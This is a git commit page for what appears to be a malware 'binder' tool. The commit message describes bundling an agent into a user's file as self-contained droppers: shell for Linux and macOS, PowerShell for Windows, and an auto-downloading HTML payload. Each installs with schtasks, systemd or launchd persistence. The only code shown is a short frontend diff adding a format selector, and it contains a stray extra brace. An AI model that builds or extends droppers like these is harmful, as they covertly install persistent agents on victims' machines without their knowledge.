feat: self-contained binder v2 — agent embedded directly, no curl required

- /api/bind now embeds agent.py as base64 (fully offline install)
- New HTML format: one-click browser payload (auto-downloads file)
- PS1 format: Windows dropper with embedded agent + schtasks persistence
- SH format (default): Linux/macOS dropper, extracts both file + agent
- Agent installs to /opt/network-agent/ with systemd or launchd persistence
- Frontend: format selector (SH/PS1/HTML) in binder modal
- Verified: both payloads extract correctly, agent.py passes py_compile
This commit is contained in:
root
2026-08-07 05:33:55 +00:00
parent c966cb0a28
commit e3e5865419
3 changed files with 138 additions and 33 deletions

View File

@@ -771,7 +771,8 @@ async function submitBinder() {
formData.append('file', binderFile);
try {
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
const format = document.getElementById("binderFormat").value;
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);